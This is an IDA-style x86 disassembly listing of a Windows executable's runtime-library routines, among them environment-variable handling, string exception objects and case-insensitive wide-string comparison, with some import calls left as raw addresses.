		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB980
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB984
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB980, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB988, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB980, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB988, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB988, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB980
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB980, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25E1114h
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB980
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DCEC1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEF+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6F0
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_40D6B4
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D08o
					; ___:00427D18o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A0

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D04o
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D14o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:0042808Co
		mov	dword ptr [ecx], offset	off_427D14
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D561+13p
					; sub_40D725+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428088
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D561
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D40o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:00428134o
		mov	dword ptr [ecx], offset	off_427D40
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B1+15p
					; sub_40D50A+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428130
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D40
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D40
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D0Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428170
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428130
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D1Co
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428088
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426750	proc near
		jmp	near ptr 71B2ACCBh
sub_426750	endp

; ---------------------------------------------------------------------------
		db 0DCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE41+5Ep
					; ___:00414BE6p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 2840000h
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 0E1h

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417276+E2p
					; sub_417276+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D60
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D60o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D68
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D6Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D88
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2650331h
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DBA14, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBA14
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DA8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DBC6C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DBC6C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CB50C
		push	edi
		push	esi
		call	near ptr 26410A2h
		nop
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DBC6C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DBC6C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 27F1129h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27F1129h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
